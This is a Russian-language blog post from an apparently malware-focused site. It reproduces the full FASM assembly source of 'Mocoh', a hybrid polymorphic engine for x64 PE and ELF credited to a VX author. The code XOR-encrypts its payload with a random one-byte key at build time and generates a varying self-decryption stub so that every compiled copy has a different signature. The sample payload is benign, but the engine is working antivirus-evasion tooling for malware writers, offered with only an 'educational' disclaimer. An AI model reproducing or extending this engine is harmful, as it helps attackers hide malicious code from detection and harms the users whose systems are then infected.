Order Of Six Angles

Main Logo

Х.Р.А.М Сатаны

Home | RU | Translations | Art | Feed.xml

13 June 2021

tags: windows - malware

Полиморфный движок Mocoh

target_os = 0  ; 0 = x64 PE, 1 = x64 ELF
;                            .__
;  _____   ____   ____  ____ |  |__
; /     \ /  _ \_/ ___\/  _ \|  |  \  Hybrid Poly Engine v1.1
;|  Y Y  (  <_> )  \__(  <_> )   Y  \
;|__|_|  /\____/ \___  >____/|___|  /
;      \/            \/           \/
;
; [+] PoC простого гибридного полиморфного движка (код и процесс дешифрования)
; [+] Подходит для Windows (PE64) и Linux (ELF64)
; [+] 1 байтный рандомный XOR ключ
; [+] Движок может менять ключ и некоторые инструкции (код и порядок)
; [+] Техника простая и не новая... Только для образовательных целей
;
; Автор: SWaNk 2020 [] Снова в деле, VX навсегда!
; Спасибо TMZ за linux реализацию!
;
; https://vx-underground.org/
; https://pt.wikipedia.org/wiki/Moc? (Kerodon rupestris)


```
if target_os > 0
    display "Выбран x64 ELF",13,10
    format ELF64 executable 3
else
    display "Выбран x64 PE",13,10
    format PE64 GUI 4.0
    include "%include%/win64a.inc"
end if

entry start
```

; Это полиморфный макрос, для шифрования (однобайтный xor).
; Это простой XOR байтов от 0x00 до 0xFF, во время компиляции.
; Это просто пример того, как это может выглядеть ... Используйте свое воображение, если хотите улучшить

macro encrypt dstart,dsize {
    local ..char

    key = %t and 0xff

    repeat dsize
        load ..char from dstart+%-1
        ..char = ..char xor key
        store ..char at dstart+%-1
    end repeat
}

; Идея заключается в том, чтобы создать дидактический макрос. Он будет делить один байт на две части (от 0x00 до 0xff)
; другими словами: 0xff / 2 = 0x7f
;
; Если длина псевдорандомного ключа больше 0x7f байт, то в начале edx получит значение real_start,  
; а ecx - code_size. Если ключ меньше чем 0x7f, порядок меняется
;
; Если длина псевдорандомного ключа больше 0x7f байт, значение edx будет увеличено инструкцией "inc edx",
; - иначе "add edx, 1"

macro simplePoly {
      if key > 0x7f             ; если длина ключа меньше 0x7f байт, то в начале идет real_start, потом code_size (порядок меняется)
         mov edx,real_start
         mov ecx,code_size
      else
         mov ecx,code_size
         mov edx,real_start
      end if

 @@:  xor byte [edx],key

      if key > 0x7f             ; если длина ключа меньше 0x7f байт, мы будем использовать инструкцию "inc edx", иначе - "add edx, 1" (обе инструкции увеличивают edx на 1) 
         inc edx
      else
         add edx,1
      end if

      loop @B
}

; этот макрос генерирует инструкции, начиная с точки входа

;       mov edx,mocoh.401010       | Порядок этих инструкций
;       mov ecx,1C                 | может меняться

;       xor byte ptr ds:[edx],F4   | Ключ может поменяться (в этом случае это F4)
;       inc edx                    | Эта инструкция может измениться на "add edx, 1"
;       loop mocoh.40100A

;============================================================
if target_os > 0
segment readable executable writeable
else
section '.text' code readable executable writable
end if
;============================================================
start:

simplePoly

if target_os > 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Добавьте сюда свой код шифрования под линукс
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
real_start:

    lea     rsi, [msg]
    mov     rdx, msgLen
    mov rdi, 1
    mov rax, 1
    syscall

display "Шифруем это дерьмо... "
    
    code_size = $ - real_start
    encrypt real_start, code_size
    display "done",13,10
   
    mov rax, 60
    xor rdi, rdi
    syscall

else
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Добавьте сюда свой код шифрования под винду
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
real_start:

    mov rdx, rsp
    and rdx, 0fh
    and rsp, 0fffffffffffffff0h     ; убедитесь, что стек выравнен на 16 байт 
    invoke MessageBox, 0, msg, title, 0
    invoke ExitProcess, 0

; конец кода шифрования

    display "Шифруем это дерьмо... "
    code_size = $ - real_start
    encrypt real_start,code_size
    display "done",13,10
end if

if target_os > 0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
segment readable
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
msg db "скомпилируйте 2 раза и сравните хэши и инструкции по расшифровке!", 0xa, 0
msgLen = $ - msg

else

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
section '.data' data readable writeable
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    title db "SWaNk 2020",0
    msg   db "скомпилируйте 2 раза и сравните хэши и инструкции по расшифровке!",0

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
section '.idata' import data readable writeable
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
        library kernel32,"kernel32.dll",user32,"user32.dll"
        include "%include%/api/kernel32.inc"
        include "%include%/api/user32.inc"

end if

</pre>
Вверх